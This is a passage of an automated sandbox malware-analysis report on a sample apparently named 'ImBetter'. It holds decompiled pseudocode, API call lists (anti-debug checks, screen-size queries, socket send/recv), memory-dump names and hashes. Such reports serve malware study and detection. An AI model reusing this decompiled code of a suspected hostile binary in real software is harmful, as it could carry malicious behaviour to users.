				E00007FF77FF7E6B2A284(_t117, _t125, __rcx, __rdx, _t148, __r9);
				_t149 = _t117;
				_v88 = _t117;
				_v80 = 0;
				E00007FF77FF7E6B2A284(_t117, _t125, _t127, __rdx, _t149, __r9);
				r12d = 0;
				_t5 = _t149 + 0xa0; // 0xa0
				_t126 = _t5;
				 *((long long*)(_t117 + 0x3a0)) =  &_v88;
				_t118 = _t161 + 0x80;
				 *((long long*)(_t149 + 0x98)) = _t161;
				 *_t126 = _t118;
				if (_t118 == 0) goto 0xe6b362b3;
				if ( *_t118 == r12w) goto 0xe6b362b3;
				_t82 =  *0xe6b519d0; // 0x17
				E00007FF77FF7E6B361AC(_t82 - 1, _t126, 0xe6b51860, _t149, _t151, _t126);
				_v88 = r12d;
				_t119 =  *((intOrPtr*)(_t149 + 0x98));
				if (_t119 == 0) goto 0xe6b3633c;
				if ( *_t119 == r12w) goto 0xe6b3633c;
				_t120 =  *_t126;
				if (_t120 == 0) goto 0xe6b362e2;
				if ( *_t120 == r12w) goto 0xe6b362e2;
				E00007FF77FF7E6B35B44(_t73, _t82 - 1, _t120, _t126,  &_v88, _t141, _t126, __r9);
				goto 0xe6b362eb;
				E00007FF77FF7E6B35C14(_t73, _t82 - 1, _t120, _t126,  &_v88, _t141, _t126);
				if (_v88 != r12d) goto 0xe6b363b2;
				_t84 =  *0xe6b51850; // 0x41
				_t14 = _t149 + 0x98; // 0x98
				if (E00007FF77FF7E6B361AC(_t84 - 1, _t126, 0xe6b51440, _t149, _t151, _t14) == 0) goto 0xe6b363a8;
				_t121 =  *_t126;
				if (_t121 == 0) goto 0xe6b36331;
				if ( *_t121 == r12w) goto 0xe6b36331;
				E00007FF77FF7E6B35B44(_t73, _t84 - 1, _t121, _t126,  &_v88, _t141, _t14, __r9);
				goto 0xe6b363a8;
				_t134 =  &_v88;
				E00007FF77FF7E6B35C14(_t73, _t84 - 1, _t121, _t126, _t134, _t141, _t14);
				goto 0xe6b363a8;
				_t122 =  *_t126;
				if (_t122 == 0) goto 0xe6b36395;
				if ( *_t122 == r12w) goto 0xe6b36395;
				E00007FF77FF7E6B2A284(_t122, _t126, _t134, _t141, _t149, __r9);
				_t136 = (_t134 | 0xffffffff) + 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t122 + 0xa0)) + _t136 * 2)) != r12w) goto 0xe6b3635d;
				 *(_t122 + 0xb4) = r12d & 0xffffff00 | _t136 == 0x00000003;
				EnumSystemLocalesW(??, ??);
				if ((_v88 & 0x00000004) != 0) goto 0xe6b363a8;
				_v88 = r12d;
				goto 0xe6b363a8;
				_v88 = 0x104;
				_t60 = GetUserDefaultLCID();
				_v80 = _t60;
				_v84 = _t60;
				if (_v88 == r12d) goto 0xe6b3648d;
				asm("dec eax");
				_t61 = E00007FF77FF7E6B36050(_t126, 0x7ff7e6b35a5c & _t161 + 0x00000100,  &_v88, _t149);
				if (_t61 == 0) goto 0xe6b3648d;
				if (IsValidCodePage(??) == 0) goto 0xe6b3648d;
				if (IsValidLocale(??, ??) == 0) goto 0xe6b3648d;
				if (_t163 == 0) goto 0xe6b36404;
				 *_t163 = _t61;
				_t36 = _t149 + 0x2f0; // 0x2f0
				r9d = 0;
				_t37 = _t159 + 0x55; // 0x55
				_t90 = _t37;
				r8d = _t90;
				E00007FF77FF7E6B2C554(_v84, _t163, _t161 + 0x100, _t126, _t36, _t149, _t151);
				if (_t147 == 0) goto 0xe6b36486;
				r9d = 0;
				r8d = _t90;
				E00007FF77FF7E6B2C554(_v84, _t147, _t161 + 0x100, _t126, _t147 + 0x120, _t149, _t151);
				r9d = 0x40;
				if (GetLocaleInfoW(??, ??, ??, ??) == 0) goto 0xe6b3648d;
				r9d = 0x40;
				if (GetLocaleInfoW(??, ??, ??, ??) == 0) goto 0xe6b3648d;
				_t44 = _t149 - 0x36; // 0xa
				r9d = _t44;
				_t45 = _t149 - 0x30; // 0x10
				r8d = _t45;
				E00007FF77FF7E6B3A124(_t61);
				goto 0xe6b3648f;
				return E00007FF77FF7E6B3C7F0(0, _t61, _v72 ^ _t151 - 0x00000040);
			}

0x7ff7e6b3622c
0x7ff7e6b3622c
0x7ff7e6b3622c
0x7ff7e6b3622c
0x7ff7e6b3623e
0x7ff7e6b36245
0x7ff7e6b36248
0x7ff7e6b3624c
0x7ff7e6b3624f
0x7ff7e6b36252
0x7ff7e6b36255
0x7ff7e6b3625a
0x7ff7e6b3625f
0x7ff7e6b36263
0x7ff7e6b36266
0x7ff7e6b3626f
0x7ff7e6b36272
0x7ff7e6b36272
0x7ff7e6b36279
0x7ff7e6b36280
0x7ff7e6b36287
0x7ff7e6b3628e
0x7ff7e6b36294
0x7ff7e6b3629a
0x7ff7e6b3629c
0x7ff7e6b362ae
0x7ff7e6b362b3
0x7ff7e6b362b7
0x7ff7e6b362c1
0x7ff7e6b362c7
0x7ff7e6b362c9
0x7ff7e6b362cf
0x7ff7e6b362d5
0x7ff7e6b362db
0x7ff7e6b362e0
0x7ff7e6b362e6
0x7ff7e6b362ef
0x7ff7e6b362f5
0x7ff7e6b362fb
0x7ff7e6b36312
0x7ff7e6b36318
0x7ff7e6b3631e
0x7ff7e6b36324
0x7ff7e6b3632a
0x7ff7e6b3632f
0x7ff7e6b36331
0x7ff7e6b36335
0x7ff7e6b3633a
0x7ff7e6b3633c
0x7ff7e6b36342
0x7ff7e6b36348
0x7ff7e6b3634a
0x7ff7e6b3635d
0x7ff7e6b36365
0x7ff7e6b36378
0x7ff7e6b36383
0x7ff7e6b3638d
0x7ff7e6b3638f
0x7ff7e6b36393
0x7ff7e6b36395
0x7ff7e6b3639c
0x7ff7e6b363a2
0x7ff7e6b363a5
0x7ff7e6b363ac
0x7ff7e6b363c0
0x7ff7e6b363c6
0x7ff7e6b363cf
0x7ff7e6b363e0
0x7ff7e6b363f6
0x7ff7e6b363ff
0x7ff7e6b36401
0x7ff7e6b36407
0x7ff7e6b3640e
0x7ff7e6b36411
0x7ff7e6b36411
0x7ff7e6b36415
0x7ff7e6b36418
0x7ff7e6b36420
0x7ff7e6b3642c
0x7ff7e6b3642f
0x7ff7e6b36432
0x7ff7e6b3643f
0x7ff7e6b36452
0x7ff7e6b3645e
0x7ff7e6b3646e
0x7ff7e6b36479
0x7ff7e6b36479
0x7ff7e6b3647d
0x7ff7e6b3647d
0x7ff7e6b36481
0x7ff7e6b3648b
0x7ff7e6b364a9

APIs

Part of subcall function 00007FF7E6B2A284: GetLastError.KERNEL32 ref: 00007FF7E6B2A293
Part of subcall function 00007FF7E6B2A284: FlsGetValue.KERNEL32 ref: 00007FF7E6B2A2A8
Part of subcall function 00007FF7E6B2A284: SetLastError.KERNEL32 ref: 00007FF7E6B2A333

Part of subcall function 00007FF7E6B2A284: FlsSetValue.KERNEL32 ref: 00007FF7E6B2A2C9

GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF7E6B3639C

Part of subcall function 00007FF7E6B2A284: FlsSetValue.KERNEL32 ref: 00007FF7E6B2A2F6
Part of subcall function 00007FF7E6B2A284: FlsSetValue.KERNEL32 ref: 00007FF7E6B2A307
Part of subcall function 00007FF7E6B2A284: FlsSetValue.KERNEL32 ref: 00007FF7E6B2A318

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF7E6B2AF45), ref: 00007FF7E6B36383
ProcessCodePage.LIBCMT ref: 00007FF7E6B363C6
IsValidCodePage.KERNEL32 ref: 00007FF7E6B363D8
IsValidLocale.KERNEL32 ref: 00007FF7E6B363EE
GetLocaleInfoW.KERNEL32 ref: 00007FF7E6B3644A
GetLocaleInfoW.KERNEL32 ref: 00007FF7E6B36466

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: 8d2a1589178d1d7d8c5b221926933c8fbd9039c742b216420bca1e6b218d2cec
Instruction ID: 34e2ff03691ac73def76f66a9f7355fc84b3975e3fda544f839f13d42961f1b3
Opcode Fuzzy Hash: 8d2a1589178d1d7d8c5b221926933c8fbd9039c742b216420bca1e6b218d2cec
Instruction Fuzzy Hash: EA718C62F2861289FB20AF64DC507BEB3A8BF44744FA44036CA0D57A85EF7DE445C362

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3D358 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7E6B3D374
RtlCaptureContext.KERNEL32 ref: 00007FF7E6B3D3A1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7E6B3D3BB
RtlVirtualUnwind.KERNEL32 ref: 00007FF7E6B3D3FC
IsDebuggerPresent.KERNEL32 ref: 00007FF7E6B3D450
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7E6B3D471
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7E6B3D47C

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 00c2f5644346ac2f1d360b9f794d49aacec778846b41d27f77608f3049c3b404
Instruction ID: c3aa704102e32c308913cb85732750579ee274cf744800195c11e4cad34d5f87
Opcode Fuzzy Hash: 00c2f5644346ac2f1d360b9f794d49aacec778846b41d27f77608f3049c3b404
Instruction Fuzzy Hash: 59315272729A8186EB609F60EC803EEB364FB84744F94443ADA4E47B95EF7CD648C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B02120 Relevance: 9.3, APIs: 6, Instructions: 269
COMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E00007FF77FF7E6B02120(long long __rbx, long long __rcx, long long __rdi, long long __rsi) {
				signed int _t102;
				signed int _t103;
				signed int _t106;
				signed char _t122;
				signed char _t124;
				signed int _t126;
				signed long long _t156;
				signed long long _t157;
				long long _t160;
				long long _t161;
				char* _t162;
				long long _t187;
				long long _t189;
				void* _t197;
				intOrPtr* _t198;
				void* _t203;
				intOrPtr _t204;
				intOrPtr _t207;
				long long _t216;
				intOrPtr _t219;
				void* _t223;
				void* _t225;
				intOrPtr* _t233;
				char* _t234;
				intOrPtr* _t235;
				char* _t237;
				char* _t238;
				signed long long _t242;
				long long _t245;
				void* _t247;
				intOrPtr _t248;
				struct HWND__* _t250;
				intOrPtr _t251;

				 *((long long*)(_t225 + 0x10)) = __rbx;
				 *((long long*)(_t225 + 0x18)) = __rsi;
				 *((long long*)(_t225 + 0x20)) = __rdi;
				_t223 = _t225 - 0x37;
				_t156 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t157 = _t156 ^ _t225 - 0x000000c0;
				 *(_t223 + 0x2f) = _t157;
				_t245 = __rcx;
				 *((long long*)(_t223 - 0x69)) = __rcx;
				GetDesktopWindow();
				_t197 = _t223 - 0x39;
				GetWindowRect(_t250);
				_t102 =  *(_t223 - 0x2d);
				r8d =  *(_t223 - 0x31);
				if (r8d >= 0) goto 0xe6b021c0;
				r8d =  ~r8d;
				_t233 = _t223 + 0xc - 1;
				_t122 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t157 + _t197 + _t157 + _t197;
				r8b = r8b + 0x30;
				 *_t233 = r8b;
				r8d = _t122;
				if (_t122 != 0) goto 0xe6b02180;
				_t234 = _t233 - 1;
				 *_t234 = 0x2d;
				goto 0xe6b021ea;
				asm("o16 nop [eax+eax]");
				_t235 = _t234 - 1;
				_t124 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t157 + _t197 + _t157 + _t197;
				r8b = r8b + 0x30;
				 *_t235 = r8b;
				r8d = _t124;
				if (_t124 != 0) goto 0xe6b021c0;
				_t198 = _t235;
				E00007FF77FF7E6B03630((_t124 & 0x000000ff) << 2, _t223 - 0x29, _t198, _t223 + 0xc);
				if (_t102 >= 0) goto 0xe6b02240;
				_t103 =  ~_t102;
				asm("o16 nop [eax+eax]");
				_t237 = _t223 + 0x2c - 1;
				_t126 = 0xcccccccd * _t103 >> 0x20 >> 3;
				 *_t237 = _t103 - _t157 + _t198 + _t157 + _t198 + 0x30;
				_t106 = _t126;
				if (_t126 != 0) goto 0xe6b02210;
				_t238 = _t237 - 1;
				 *_t238 = 0x2d;
				goto 0xe6b02266;
				_t128 = 0xcccccccd * _t106 >> 0x20 >> 3;
				 *((char*)(_t238 - 1)) = _t106 - _t157 + _t198 + _t157 + _t198 + 0x30;
				if (0xcccccccd * _t106 >> 0x20 >> 3 != 0) goto 0xe6b02240;
				E00007FF77FF7E6B03630((0xcccccccd * _t106 >> 0x00000020 >> 0x00000003 & 0x000000ff) << 2, _t223 - 0x59, _t238 - 1, _t223 + 0x2c);
				_t251 =  *((intOrPtr*)(_t223 - 0x19));
				if (_t251 == 0xffffffff) goto 0xe6b02499;
				_t219 =  *((intOrPtr*)(_t223 - 0x29));
				_t248 =  *((intOrPtr*)(_t223 - 0x11));
				_t159 =  >=  ? _t219 : _t223 - 0x29;
				 *((long long*)(_t223 - 0x69)) =  >=  ? _t219 : _t223 - 0x29;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x9], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqu [ebp+0x7], xmm1");
				_t242 = _t251 + 1;
				if (_t242 - __rbx <= 0) goto 0xe6b0234c;
				if ((_t242 | 0x0000000f) - 0xffffffff <= 0) goto 0xe6b022dc;
				goto 0xe6b022e8;
				_t177 =  <  ? 0xffffffff : 0xffffffff;
				_t186 =  <  ? 0xffffffff : 0x8000000000000000;
				if (0xffffffff - 0x1000 < 0) goto 0xe6b02333;
				_t43 = _t186 + 0x27; // 0x8000000000000025
				_t160 = _t43;
				_t142 = _t160 - ( <  ? 0xffffffff : 0x8000000000000000);
				if (_t160 - ( <  ? 0xffffffff : 0x8000000000000000) <= 0) goto 0xe6b0249f;
				_t187 = _t160;
				E00007FF77FF7E6B3CAAC(_t160 - ( <  ? 0xffffffff : 0x8000000000000000), _t160, _t187);
				if (_t160 == 0) goto 0xe6b024a5;
				_t44 = _t160 + 0x27; // 0x27
				 *((long long*)((_t44 & 0xffffffe0) - 8)) = _t160;
				_t161 =  *((intOrPtr*)(_t223 - 0x69));
				goto 0xe6b02348;
				if (_t187 == 0) goto 0xe6b02346;
				E00007FF77FF7E6B3CAAC(_t187, _t161, _t187);
				_t216 = _t161;
				_t162 =  *((intOrPtr*)(_t223 - 0x69));
				goto 0xe6b02348;
				 *((long long*)(_t223 - 9)) = _t216;
				 *(_t223 + 7) = _t242;
				 *((long long*)(_t223 + 0xf)) = 0xffffffff;
				E00007FF77FF7E6B3F010();
				 *((char*)(_t251 + _t216)) = 0x78;
				 *((char*)(_t216 + _t242)) = 0;
				_t203 =  >=  ?  *((void*)(_t223 - 0x59)) : _t223 - 0x59;
				_t189 = _t223 - 9;
				E00007FF77FF7E6B02A20( <  ? 0xffffffff : 0xffffffff, _t189, _t219,  *((intOrPtr*)(_t223 - 0x49)), _t247);
				asm("xorps xmm0, xmm0");
				asm("inc ecx");
				 *((long long*)(_t245 + 0x10)) = _t189;
				 *((long long*)(_t245 + 0x18)) = _t189;
				asm("movups xmm0, [eax]");
				asm("inc ecx");
				asm("movups xmm1, [eax+0x10]");
				asm("inc ecx");
				 *((long long*)(_t162 + 0x10)) = _t189;
				 *((long long*)(_t162 + 0x18)) = 0xf;
				 *_t162 = 0;
				_t204 =  *((intOrPtr*)(_t223 + 0xf));
				if (_t204 - 0x10 < 0) goto 0xe6b023f4;
				if (_t204 + 1 - 0x1000 < 0) goto 0xe6b023ee;
				if ( *((intOrPtr*)(_t223 - 9)) -  *((intOrPtr*)( *((intOrPtr*)(_t223 - 9)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b024a5;
				E00007FF77FF7E6B3CAF0(0xcccccccd * _t106 >> 0x20 >> 3,  *((intOrPtr*)( *((intOrPtr*)(_t223 - 9)) - 8)));
				_t207 =  *((intOrPtr*)(_t223 - 0x41));
				if (_t207 - 0x10 < 0) goto 0xe6b02430;
				if (_t207 + 1 - 0x1000 < 0) goto 0xe6b0242a;
				if ( *((intOrPtr*)(_t223 - 0x59)) -  *((intOrPtr*)( *((intOrPtr*)(_t223 - 0x59)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b024ab;
				E00007FF77FF7E6B3CAF0(0xcccccccd * _t106 >> 0x20 >> 3,  *((intOrPtr*)( *((intOrPtr*)(_t223 - 0x59)) - 8)));
				if (_t248 - 0x10 < 0) goto 0xe6b02463;
				if (_t248 + 1 - 0x1000 < 0) goto 0xe6b0245b;
				if (_t219 -  *((intOrPtr*)(_t219 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b02493;
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B3CAF0(_t128,  *((intOrPtr*)(_t219 - 8))), 0,  *(_t223 + 0x2f) ^ _t225 - 0x000000c0);
			}

0x7ff7e6b02120
0x7ff7e6b02125
0x7ff7e6b0212a
0x7ff7e6b02138
0x7ff7e6b02144
0x7ff7e6b0214b
0x7ff7e6b0214e
0x7ff7e6b02152
0x7ff7e6b02155
0x7ff7e6b02159
0x7ff7e6b0215f
0x7ff7e6b02166
0x7ff7e6b0216c
0x7ff7e6b0216f
0x7ff7e6b0217a
0x7ff7e6b0217c
0x7ff7e6b02180
0x7ff7e6b0218b
0x7ff7e6b02199
0x7ff7e6b0219c
0x7ff7e6b021a0
0x7ff7e6b021a3
0x7ff7e6b021a8
0x7ff7e6b021aa
0x7ff7e6b021ad
0x7ff7e6b021b1
0x7ff7e6b021b7
0x7ff7e6b021c0
0x7ff7e6b021cb
0x7ff7e6b021d9
0x7ff7e6b021dc
0x7ff7e6b021e0
0x7ff7e6b021e3
0x7ff7e6b021e8
0x7ff7e6b021ee
0x7ff7e6b021f5
0x7ff7e6b02201
0x7ff7e6b02203
0x7ff7e6b02205
0x7ff7e6b02210
0x7ff7e6b0221a
0x7ff7e6b0222d
0x7ff7e6b02230
0x7ff7e6b02234
0x7ff7e6b02236
0x7ff7e6b02239
0x7ff7e6b0223d
0x7ff7e6b0224a
0x7ff7e6b0225d
0x7ff7e6b02264
0x7ff7e6b02271
0x7ff7e6b02281
0x7ff7e6b02288
0x7ff7e6b02292
0x7ff7e6b02296
0x7ff7e6b0229e
0x7ff7e6b022a2
0x7ff7e6b022a6
0x7ff7e6b022a9
0x7ff7e6b022ad
0x7ff7e6b022b0
0x7ff7e6b022b5
0x7ff7e6b022c5
0x7ff7e6b022d5
0x7ff7e6b022da
0x7ff7e6b022e4
0x7ff7e6b022f6
0x7ff7e6b02301
0x7ff7e6b02303
0x7ff7e6b02303
0x7ff7e6b02307
0x7ff7e6b0230a
0x7ff7e6b02310
0x7ff7e6b02313
0x7ff7e6b0231b
0x7ff7e6b02321
0x7ff7e6b02329
0x7ff7e6b0232d
0x7ff7e6b02331
0x7ff7e6b02336
0x7ff7e6b02338
0x7ff7e6b0233d
0x7ff7e6b02340
0x7ff7e6b02344
0x7ff7e6b02348
0x7ff7e6b0234c
0x7ff7e6b02350
0x7ff7e6b0235d
0x7ff7e6b02362
0x7ff7e6b02367
0x7ff7e6b02375
0x7ff7e6b0237e
0x7ff7e6b02382
0x7ff7e6b02387
0x7ff7e6b0238a
0x7ff7e6b02391
0x7ff7e6b02395
0x7ff7e6b02399
0x7ff7e6b0239c
0x7ff7e6b023a1
0x7ff7e6b023a5
0x7ff7e6b023aa
0x7ff7e6b023ae
0x7ff7e6b023b6
0x7ff7e6b023b8
0x7ff7e6b023c0
0x7ff7e6b023d3
0x7ff7e6b023e8
0x7ff7e6b023ee
0x7ff7e6b023f4
0x7ff7e6b023fc
0x7ff7e6b0240f
0x7ff7e6b02424
0x7ff7e6b0242a
0x7ff7e6b02434
0x7ff7e6b02444
0x7ff7e6b02459
0x7ff7e6b02492

APIs

GetDesktopWindow.USER32 ref: 00007FF7E6B02159
GetWindowRect.USER32 ref: 00007FF7E6B02166

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Window$DesktopRect
String ID:
API String ID: 3963079893-0
Opcode ID: 8df977f2ed114a8bafb415fb13614fbe483cc687f47ef36867636f40bb2dad97
Instruction ID: 292d604a5a286311c12a026f409e6a1be85de272505c3a0b564a94d3d0cda961
Opcode Fuzzy Hash: 8df977f2ed114a8bafb415fb13614fbe483cc687f47ef36867636f40bb2dad97
Instruction Fuzzy Hash: E5A10722F2568686FB00EB79C8407AEB765EB557A8FA04632DE2C077C6DF78E045C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B0BDEF Relevance: 9.2, APIs: 6, Instructions: 167
networkCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00007FF77FF7E6B0BDEF(char* __rax, char* __rbx, intOrPtr* __rdi, char* __rsi, void* __rbp, long long __r14, char _a40, intOrPtr _a64, char _a72, intOrPtr _a96, intOrPtr _a104, intOrPtr _a128, void* _a160, signed int _a4256) {
				intOrPtr _t40;
				void* _t44;
				void* _t46;
				void* _t47;
				char* _t71;
				char* _t84;
				intOrPtr _t113;
				intOrPtr _t116;
				intOrPtr _t119;
				intOrPtr _t125;
				intOrPtr _t128;
				intOrPtr _t131;
				char* _t136;
				signed long long _t140;

				_t136 = __rsi;
				_t84 = __rbx;
				_t71 = __rax;
				_t142 =  *((intOrPtr*)(__rbx + 0x10));
				E00007FF77FF7E6B02A20(__rbx, __rax, __rsi,  *((intOrPtr*)(__rbx + 0x10)));
				asm("movups xmm0, [eax]");
				asm("movups [esp+0x48], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [esp+0x58], xmm1");
				 *((long long*)(_t71 + 0x10)) = __r14;
				 *((long long*)(_t71 + 0x18)) = 0xf;
				 *_t71 = 0;
				E00007FF77FF7E6B1BFD0(_t46, _t84,  &_a40,  &_a72, _t142);
				0xe6b0e350();
				_t113 = _a64;
				if (_t113 - 0x10 < 0) goto 0xe6b0be75;
				if (_t113 + 1 - 0x1000 < 0) goto 0xe6b0be70;
				if (_a40 -  *((intOrPtr*)(_a40 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0c063;
				E00007FF77FF7E6B3CAF0(_t47,  *((intOrPtr*)(_a40 - 8)));
				asm("movdqa xmm0, [0x556c3]");
				asm("movdqu [esp+0x38], xmm0");
				_a40 = 0;
				_t116 = _a96;
				if (_t116 - 0x10 < 0) goto 0xe6b0bec6;
				if (_t116 + 1 - 0x1000 < 0) goto 0xe6b0bec0;
				if (_a72 -  *((intOrPtr*)(_a72 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0c069;
				E00007FF77FF7E6B3CAF0(_t47,  *((intOrPtr*)(_a72 - 8)));
				_t119 = _a128;
				if (_t119 - 0x10 < 0) goto 0xe6b0bf06;
				if (_t119 + 1 - 0x1000 < 0) goto 0xe6b0bf01;
				if (_a104 -  *((intOrPtr*)(_a104 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0c06f;
				_t40 = E00007FF77FF7E6B3CAF0(_t47,  *((intOrPtr*)(_a104 - 8)));
				if ( *((long long*)(_t84 + 0x18)) - 0x10 < 0) goto 0xe6b0bf13;
				r9d = 0;
				r8d =  *((intOrPtr*)(_t84 + 0x10));
				__imp__#19();
				r8d = 0x1000;
				E00007FF77FF7E6B3EA30();
				r9d = 0;
				r8d = 0x1000;
				__imp__#16();
				if (_t40 <= 0) goto 0xe6b0bf66;
				E00007FF77FF7E6B0DDC0(_t40, _t84, _t136);
				0xe6b0a220();
				_t125 =  *((intOrPtr*)(_t84 + 0x18));
				if (_t125 - 0x10 < 0) goto 0xe6b0bfa0;
				if (_t125 + 1 - 0x1000 < 0) goto 0xe6b0bf9b;
				if ( *_t84 -  *((intOrPtr*)( *_t84 - 8)) - 8 - 0x1f > 0) goto 0xe6b0c075;
				E00007FF77FF7E6B3CAF0(_t40,  *((intOrPtr*)( *_t84 - 8)));
				 *((long long*)(_t84 + 0x10)) = __r14;
				 *((long long*)(_t84 + 0x18)) = 0xf;
				 *_t84 = 0;
				_t128 =  *((intOrPtr*)(_t136 + 0x18));
				if (_t128 - 0x10 < 0) goto 0xe6b0bfe5;
				if (_t128 + 1 - 0x1000 < 0) goto 0xe6b0bfe0;
				if ( *_t136 -  *((intOrPtr*)( *_t136 - 8)) - 8 - 0x1f > 0) goto 0xe6b0c057;
				E00007FF77FF7E6B3CAF0(_t40,  *((intOrPtr*)( *_t136 - 8)));
				 *((long long*)(_t136 + 0x10)) = __r14;
				 *((long long*)(_t136 + 0x18)) = 0xf;
				 *_t136 = 0;
				_t131 =  *((intOrPtr*)(__rdi + 0x18));
				if (_t131 - 0x10 < 0) goto 0xe6b0c02a;
				if (_t131 + 1 - 0x1000 < 0) goto 0xe6b0c025;
				if ( *__rdi -  *((intOrPtr*)( *__rdi - 8)) - 8 - 0x1f > 0) goto 0xe6b0c05d;
				_t44 = E00007FF77FF7E6B3CAF0(_t40,  *((intOrPtr*)( *__rdi - 8)));
				 *((long long*)(__rdi + 0x10)) = __r14;
				 *((long long*)(__rdi + 0x18)) = 0xf;
				 *((char*)(__rdi)) = 0;
				return E00007FF77FF7E6B3C7F0(_t44, _t46, _a4256 ^ _t140);
			}

0x7ff7e6b0bdef
0x7ff7e6b0bdef
0x7ff7e6b0bdef
0x7ff7e6b0bdf2
0x7ff7e6b0bdf9
0x7ff7e6b0bdfe
0x7ff7e6b0be01
0x7ff7e6b0be06
0x7ff7e6b0be0a
0x7ff7e6b0be0f
0x7ff7e6b0be13
0x7ff7e6b0be1b
0x7ff7e6b0be28
0x7ff7e6b0be33
0x7ff7e6b0be38
0x7ff7e6b0be41
0x7ff7e6b0be55
0x7ff7e6b0be6a
0x7ff7e6b0be70
0x7ff7e6b0be75
0x7ff7e6b0be7d
0x7ff7e6b0be83
0x7ff7e6b0be88
0x7ff7e6b0be91
0x7ff7e6b0bea5
0x7ff7e6b0beba
0x7ff7e6b0bec0
0x7ff7e6b0bec6
0x7ff7e6b0bed2
0x7ff7e6b0bee6
0x7ff7e6b0befb
0x7ff7e6b0bf01
0x7ff7e6b0bf0e
0x7ff7e6b0bf13
0x7ff7e6b0bf16
0x7ff7e6b0bf1d
0x7ff7e6b0bf25
0x7ff7e6b0bf33
0x7ff7e6b0bf38
0x7ff7e6b0bf3b
0x7ff7e6b0bf4c
0x7ff7e6b0bf54
0x7ff7e6b0bf58
0x7ff7e6b0bf60
0x7ff7e6b0bf66
0x7ff7e6b0bf6e
0x7ff7e6b0bf7d
0x7ff7e6b0bf92
0x7ff7e6b0bf9b
0x7ff7e6b0bfa0
0x7ff7e6b0bfa4
0x7ff7e6b0bfac
0x7ff7e6b0bfaf
0x7ff7e6b0bfb7
0x7ff7e6b0bfc6
0x7ff7e6b0bfdb
0x7ff7e6b0bfe0
0x7ff7e6b0bfe5
0x7ff7e6b0bfe9
0x7ff7e6b0bff1
0x7ff7e6b0bff4
0x7ff7e6b0bffc
0x7ff7e6b0c00b
0x7ff7e6b0c020
0x7ff7e6b0c025
0x7ff7e6b0c02a
0x7ff7e6b0c02e
0x7ff7e6b0c036
0x7ff7e6b0c056

APIs

send.WS2_32 ref: 00007FF7E6B0BF1D
recv.WS2_32 ref: 00007FF7E6B0BF4C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0C063
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0C069
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0C06F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0C075

Memory Dump Source

